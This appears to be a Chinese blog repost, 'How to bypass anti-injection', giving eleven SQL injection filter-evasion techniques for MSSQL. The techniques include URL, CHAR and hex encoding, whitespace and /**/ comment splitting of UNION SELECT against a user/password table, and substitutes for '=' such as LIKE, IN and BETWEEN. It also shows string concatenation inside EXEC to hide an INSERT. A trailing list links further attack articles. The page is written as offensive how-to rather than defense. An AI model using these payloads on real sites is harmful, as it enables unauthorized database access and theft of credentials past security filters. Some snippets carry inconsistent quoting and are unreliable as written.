当前位置: 首页 > news >正文

如何绕过防注入

防注入绕过必用11招


1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31

而Test也可以为

CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or'' swords'' =‘swords'',由于mssql的松散性,我们可以把or ''swords'' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,

or ''swords'' =''swords''

这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,

or ''swords'' = N'' swords''

,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如

or ''swords'' =‘sw'' +'' ords'' ;EXEC(‘IN'' +'' SERT INTO ''+'' …..'' )

6、通过LIKE绕过
以前怎么就没想到呢?

or''swords'' LIKE ''sw''

显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,

or ''swords'' IN (''swords'')


8、通过BETWEEN绕过

or ''swords'' BETWEEN ''rw'' AND ''tw''

9、通过>或者<绕过

or ''swords'' > ''sw''
or ''swords'' < ''tw''
or 1<3
……

10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

相关文章:

  • 突破ARP防火墙嗅探
  • 如何在php中修补XSS漏洞
  • wordpress 拿webshell
  • 基于php+Mysql的SQL Injection 攻击技术
  • 入侵后完美清理日志的总结
  • Linux命令行下WEP密码破解(通用,也可非BT平台)
  • FOR语句提权中基础语法
  • 打造LINUX系统安全
  • Kivlad--Android上的二进制文件的反编译工具
  • IT 缩略语
  • CDN获取真实IP
  • Dede CMS All Versions SQL
  • SQLMAP使用方法
  • 解决Fckeditor删除所有上传页面如何上传
  • shell突破web防火墙访问
  • [译]CSS 居中(Center)方法大合集
  • chrome扩展demo1-小时钟
  • maya建模与骨骼动画快速实现人工鱼
  • node 版本过低
  • Redis在Web项目中的应用与实践
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • 不上全站https的网站你们就等着被恶心死吧
  • 二维平面内的碰撞检测【一】
  • 解决iview多表头动态更改列元素发生的错误
  • 通过git安装npm私有模块
  • 学习Vue.js的五个小例子
  • 一道面试题引发的“血案”
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • 自动记录MySQL慢查询快照脚本
  • ​HTTP与HTTPS:网络通信的安全卫士
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • #中的引用型是什么意识_Java中四种引用有什么区别以及应用场景
  • (4)STL算法之比较
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (ZT)出版业改革:该死的死,该生的生
  • (二)换源+apt-get基础配置+搜狗拼音
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (论文阅读11/100)Fast R-CNN
  • (论文阅读40-45)图像描述1
  • (三)uboot源码分析
  • (算法)求1到1亿间的质数或素数
  • (五)c52学习之旅-静态数码管
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • (转)为C# Windows服务添加安装程序
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • ******之网络***——物理***
  • .NET Core SkiaSharp 替代 System.Drawing.Common 的一些用法
  • .net mvc actionresult 返回字符串_.NET架构师知识普及
  • .NET 反射的使用
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .net开发时的诡异问题,button的onclick事件无效
  • .xml 下拉列表_RecyclerView嵌套recyclerview实现二级下拉列表,包含自定义IOS对话框...